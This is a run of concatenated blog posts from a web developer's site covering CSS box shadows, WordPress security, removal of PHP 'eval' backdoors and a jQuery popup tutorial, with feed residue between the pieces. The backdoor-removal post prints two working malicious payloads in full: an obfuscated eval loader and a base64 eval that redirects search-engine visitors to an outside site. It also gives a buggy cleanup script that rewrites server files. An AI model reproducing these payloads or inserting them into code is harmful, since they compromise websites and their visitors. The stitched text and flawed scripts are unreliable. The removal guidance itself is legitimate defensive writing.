What are the down falls to using Box Shadows

Well unfortunately like most of the new techniques that are created everyday some browsers don’t support this. Well what browser do support this. Pretty much all of the popular browsers new versions. The Box Shadow is supported with IE9+, Firefox 4, Chrome, Opera, and Safari 5.1.1. As most people know Safari uses a little bit different coding style you will have to create this with the -webkit. You can also use the -moz setting for Mozilla but you don’t have to.

How to implement Box Shadows

Like all other CSS you first have to determine the container that you want to place this on. Whether it is a div, class, id, or any other element. This property has 6 parts. The first part is the h-shadow or horizontal shadow. The next part is the v-shadow or vertical shadow. The third part is the blur, which is optional. The fourth is the spread and this is also optional. The fifth is the color and this can handle all the types whether it is hex or rgb. Now the sixth part I am going to save for a little later.

What Box Shadow should look like.

So as stated above you have 6 parts to this that you can fill out. There are 3 that are optional. So lets see what this looks like.

.yourclass {
   -moz-box-shadow: 3px 3px 3px 3px #000000;
   -webkit-box-shadow: 3px 3px 3px 3px #000000;
   box-shadow: 3px 3px 3px 3px #000000;
}

OK so now you can see what it looks like. As you can see the first value is the h-shadow, the second is the v-shadow, the third is the blur (optional), the fourth is the spread (optional), and the fifth is the color. Now what about this fifth part.

The fifth part

The fifth part is one that you may never use and it is one that you could find yourself using a lot. The fifth element is a inset. What this does is exactly as it sounds it puts the shadow inwards. Now below is how you add this to the property.

.yourclass {
   -moz-box-shadow: 3px 3px 3px 3px #000000 inset;
   -webkit-box-shadow: 3px 3px 3px 3px #000000 inset;
   box-shadow: 3px 3px 3px 3px #000000 inset;
}

If you would like to see examples and learn more about this I would recommend going over to CSS Tricks.

Installing Secure Plugins

One of the best ways to stop people from hacking your website is to install some security plugins. There are a lot of free security plugins out there that work great. Here are a couple:

1. BulletProof Security
2. WP Security Scan
3. WP Login Security

Now these plugins are great they really help you protect your WordPress installation and show you problems involved with your installation.

Backup File And DB

The next thing that you can do to protect yourself is to always have backups of everything. If you have backups of your files and database you can always revert to a older version or move to a different server easily. Here are some great plugins for that:

1. myEASYbackup
2. WordPress EZ Backup
3. WordPress Backup To Dropbox

There are a ton of backup plugins and most of them are really good. This is defiantly something that you want to do because you never know when you are going to have to repair or revert your WordPress site.

File, Folder and User Settings

There are tons of things that you can do with your settings to help protect you from getting hacked. One of the biggest and yet most exploited parts of WordPress is the admin account. I am not talking about all administrators I am talking about the user admin. Most WordPress installations are created with the default admin user. This is something that I would strongly advise in changing. Another thing would be your database prefix. Most WordPress databases are created with the default prefix wp_. This is something that you can change when you first start your website, name the prefix whatever_ your want. You can change this after installation it is just a little bit harder.

Permissions

The default WordPress permissions are files 644 and folders 755. A lot of your files don’t need to have that much permission. For instance your .htaccess file it has a 644 but only needs a 404. Your wp-config.php has a 644 but only needs a 400. There are a lot of files and folders that you can change the permissions to and still have a working site. I would recommend the BulletProof Security plugin from above. It scans your files and informs you of all the files that you can change the permissions on to get better protection.

User Accounts

As for user account you should really limit the use of the administrator account. I would not have more than 5 of these if that many. You really don’t have to give the administrator privilege, in order to change things on the site. You can use the editor, author, or contributor settings for people needing to change information or create posts. Another thing that you can so is add a Captcha or reCaptcha plugin to your site. This will make it so that not everything can create a user account.

Final Thoughts

If you have had issues with hacks I hope that this helps you and your site. If you currently have a hack I hope that you can get it taken care of quick. If you need some help understanding the hack please feel free to contact us.

The First Eval Code @error_reporting(0);

This code was not as hard to remove as the other two. But if you don’t know what you are doing you could really mess your website/server up. The code for this virus looks like this:

< ?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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QDecJCI9AiM1QXamRyOiI2M4xVM1wlMygHXxYDXjVDecJDNchjM4xFN1EDXxYDecZjNxwVN2gHXiASPgITNmlmZksjI1QTMcljN4xFMwEDX5IDecNTNcVmM4xFM1wFM0gHXiASPgUjMmlmZkcCKsFmdltjIwIDecVzNcBjM4xFM2wFN2gHX0QTMcRjM4xlIg0DI1ITayRGJgsTN1kmcmRiLnkiIn4iM1kmcmRCI9ASNyInZkAyOngDN4xFN0EDXjZDecJTMxwFO0gHXyETMcdCI9ASNykmcmRyOnI2M4xVM1wVOygHXyQDXkNDecdCI9AiM1kmcmRyOnQDV2YWfVtUTnASPgITNyZGJ7cCKuVnc0VmckcCI9ASN1InZkszJyUDdpZGJsITNmlmZkwSNyYWamRCKuJXY0VmckszJg0DI1UTayZGJ+aWYgKCFpc3NldCgkZXZhbFVkQ1hURFFFUm1XbkRTKSkge2Z1bmN0aW9uIGV2YWxsd2hWZklWbldQYlQoJHMpeyRlID0gIiI7IGZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

The code for this backdoor is quite long and kind of confusing. In order to fix this backdoor there is a script that will search you entire server and delete any instances of the code. You can find the script for this below:

< ?php
 
// Grep all instance of the mailicious code
// by doing a grep
$path = "/home/user/www/"; // ppath to store grep if too large
$pathwebroot = "/home/user/www/";
 
shell_exec('grep -R "eva1fYlbakBcVSir" '.$pathtowebroot.'* > grep.out');
 
$handle = fopen($path."/grep.out", "r");
$cnt = fread($handle, filesize($path."/grep.out"));
fclose($handle);
//$output = shell_ex
 
$arrReplace = explode("
", $cnt);
// grep sep with :
// then parse with the linebreak
echo 'found '.sizeof( $arrReplace);
sleep(5);
$x = 0;
for($i = 0; $i < sizeof( $arrReplace); $i++) {
        $row = explode(':', $arrReplace[$i]);
        if (sizeof($row) > 1) {
        echo $row[0]." sanitized.\n";
        // open the infected file for reading
        $handle = fopen($row[0], "r");
        $infected = fread($handle, filesize($row[0]));
        fclose($handle);
        // cleaning up
        //$cleared = str_replace('< ?php ..', '//:start:', $infected);
        $cleared = explode('<?php @error_reporting(0); if (!isset($eva1fYlbakB', $infected);
        $cleared = $cleared[0];
        // saving cleared data
        $fp = fopen($row[0], "w");
        fwrite($fp,$cleared);
        fclose( $fp );
        $x++;
        }
 
}
die(sizeof( $x ).' were fixed.');
?>

Should Be Cleaned

After you run the script you should be cleaned but still not protected. There are two main reasons this backdoor gets into your server. One an old version of timthumb.php and two your .htaccess file needs to be more secure. As for the timthumb.php all that you will have to do is replace this file with the newest version. You can get that here. If for instance your server is like mine and has a ton of files and you are not sure where all of your timthumb.php files are you can use the script below to find all the areas on your server that have timthumb.php.

< ?php
class file_search {
  var $found = array();
  function file_search($files, $dirs = '.', $sub = 1, $case = 0) {
    $dirs = (!is_array($dirs)) ? array($dirs) : $dirs;
    foreach ($dirs as $dir) {
      $dir .= (!ereg('/$', $dir)) ? '/' : '';
      $directory = @opendir($dir);
      while (($file = @readdir($directory)) !== FALSE) {
        if ($file != '.' && $file != '..') {
          if ($sub && is_dir($dir . $file)) {
            $this->file_search($files, $dir . $file, $sub, $case);
          }
          else {
            $files = (!is_array($files)) ? array($files) : $files;
            foreach ($files as $target) {
              $tar_ext = substr(strrchr($target, '.'), 1);
              $tar_name = substr($target, 0, strrpos($target, '.'));
              $fil_ext = substr(strrchr($file, '.'), 1);
              $fil_name = substr($file, 0, strrpos($file, '.'));
              $ereg = ($case) ? 'ereg' : 'eregi';
              if ($ereg($tar_name, $fil_name) && eregi($tar_ext, $fil_ext)) {
                $this->found[] = $dir . $file;
              }
            }
          }
        }
      }
    }
  }
}
$find = array('timthumb.php');
$search = new file_search($find);
echo '<p>';
print_r($search->found);
echo '</p>';
die('');
?>

This will search your server and output the areas that timthumb.php was found.

Backdoor Number 2 – eval(base64_decode(“DQplc

This backdoor is kind of the same as the first one but much harder to remove. The virus looks like this:

< ?php	 	eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJvYWR3YXkuYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ=="));

This backdoor will show up on every php page right after your opening < ?php. Now unlike the first virus you are unable to search for this one and delete the entire line involved because it is adding the code to your current this backdoor would add the code right before get_header. If you use the first code to remove this it will delete the get_header also. So your template files will not work at all after that. There is no easy way to fix this backdoor with out removing your files from your server.

How To Fix

In order to fix this backdoor you will have to download your entire root directory and search all the files for the instance of the code. the way I did this is downloaded notepad++. Once you install this you can search all the files at once and replace the code with blank space. Be careful when doing this. After you are done you would just have to upload and replace your files on your server.

Hopeful, Helpful Words

The first thing make sure that the backdoor that you have is the one that you are trying to fix. After fixing make sure to research how to up your server security. And last but not least please use these scripts at your own risk. ]]> http://www.shanestrong.com/wordpress-help/server-eval-hijacked/feed 0 http://www.shanestrong.com/web-development/jquery-popup http://www.shanestrong.com/web-development/jquery-popup#comments Thu, 19 Jan 2012 06:03:52 +0000 Shane http://www.shanestrong.com/?p=1371 jQuery is not a new technology anymore but it is not an old one either. Most new website are using some form of jQuery. There are some things that you can do with jQuery that are simple but can make your website stand out. One of the ways that you can spread news or try to get people to interact on your site more is with a popup. Now some people might think these are annoying but can really help build more interaction. Popups don’t have to be annoying, they can be helpfully and creative. The thing that made popups annoying when they first came out was that people played music with them and they popped up automatically. Well that is annoying but what if you use it for a contact form or something for people to signup for feeds. There are a ton of things that you can use a popup for and with jQuery you will get something that is for the most part cross browser compliant. For this tutorial you will need to know html, jQuery, and css. So lets get started.

Step One – Create You HTML Template

One of the first things you will need for your html template is the jquery library script or an equivalent script. The google hosted jquery script or the jquery hosted latest script would work. I prefer to use the latest jquery script. The next thing that you will need to add is the css popup file and the js popup file. These will look like this in your head area.

   <link rel="stylesheet" href="PathToFile/popup.css" type="text/css" />
   <script src="http://code.jquery.com/jquery-latest.js" type="text/javascript"></script>
   <script type="text/javascript" src="PathToFile/popup.js"></script>

After you add these all that you will have to do is add the code to create the popup. Well you will have to first decide if you want to use a button or a link. Both of these will work all that you have to do is add the class button to them. Then you will have to create the popup container and the contents of the popup. This should look something link this:

   <div class="button"><input type="submit" value="Press This" /></div>
   <div class="popupContent">
      <a class="popupClose">x</a>
      <h1>This is a title for a popup!</h1>
      <p>What you want in the popup</p>
   </div>
   <div class="backgroundPopup"></div>

That is all for the html part. Now you will have to style the popup with the popup.css file.

Step Two – Design Your Popup With CSS

Inside of the popup.css file there are all of the classes that you will need to have setup. Hear is a list of the classes that you will need (popupContent, popupClose, and backgroundPopup). These classes will have to be coded like below:

   .backgroundPopup{
	display:none;
	position:fixed;
	_position:absolute; /* hack for internet explorer 6*/
	height:100%;
	width:100%;
	top:0;
	left:0;
	background:#000000;
	z-index:9998;
   }
   //You can style the background, border, width, and height of this how you want
   .popupContent{
	display:none;
	position:fixed;
	_position:absolute; /* hack for internet explorer 6*/
	height:auto;
	width:35em;
	background:#fff;
	z-index:9999;
	padding:2em;
	font-size:1.3em;
   }
   //Style this how you want
   .popupClose{
	font-size:1.4em;
	right:0.5em;
	top:0.2em;
	position:absolute;
	color:#000000;
	font-weight:700;
	display:block;
   }
   .popupClose:hover { cursor: pointer; }

Step Three – Build The jQuery Popup

Now that you hopefully have a sweet designed look for your popup we have to add the script to control the popup. All that you have to do for this is all the code below to your popup.js file.

var popupStatus = 0;
 
function loadPopup(){
   //Will only be loaded if the status is 0
   if(popupStatus==0){
      $(".backgroundPopup").css({"opacity": "0.8"});
      $(".backgroundPopup").fadeIn("slow");
      $(".popupContent").fadeIn("slow");
      popupStatus = 1;
   }
}
 
//This will disable the popup when needed
function disablePopup(){
   //Will only disable if status is 1
   if(popupStatus==1){
      $(".backgroundPopup").fadeOut("slow");
      $(".popupContent").fadeOut("slow");
      popupStatus = 0;
   }
}
 
//Centers the popup to your window size 
function centerPopup(){
   var windowWidth = document.documentElement.clientWidth;
   var windowHeight = document.documentElement.clientHeight;
   var popupHeight = $(".popupContent").height();
   var popupWidth = $(".popupContent").width();
   $(".popupContent").css({
      "position": "absolute",
      "top": windowHeight/2-popupHeight/2,
      "left": windowWidth/2-popupWidth/2
   });
   //this is needed for ie6
   $(".backgroundPopup").css({ "height": windowHeight });
}
 
//Click event controller
$(document).ready(function(){
   //Open the popup and center
   $(".button").click(function(){
      centerPopup();
      loadPopup();
   });
   //Close popup by clicking the x
   $(".popupClose").click(function(){ disablePopup(); });
   //Close popup by clicking outside the box
   $(".backgroundPopup").click(function(){ disablePopup(); });
   //Close popup by clicking escape
   $(document).keypress(function(e){
      if(e.keyCode==27 && popupStatus==1){
         disablePopup();
      }
   });
});

Now if you copy that code and add it to your popup.js file everything will work. This script declares the width of your browser and determines where to put the popup automatically. It also declares the closing abilities. There are three of these you can click the x, push escape, or click outside the popup. There is nothing left your popup should be working great. Now this is a really simple jQuery popup. There are tons of popups out there and tons of ways to do these but most aren’t this easy and light weight on your browser. If you would like to see a demo of this in action you can click here or you can download this demo and mess around with this your self.

Anyone that might use this and find some changes that make it better I would love to see these changes and put them up on the site with you getting credit. Please contact us.

Position Static

This type of position as said before is set by default. This is the most basic positioning and the simplest to explain. Position static is simply all that it does is follows the flow of the page. Now this might sound weird and you might wonder why it is even a position. This is because it does not get affected by the top, bottom, right, and left properties. This is written like this:

.yourclass {
    position: static;
}

Position Fixed

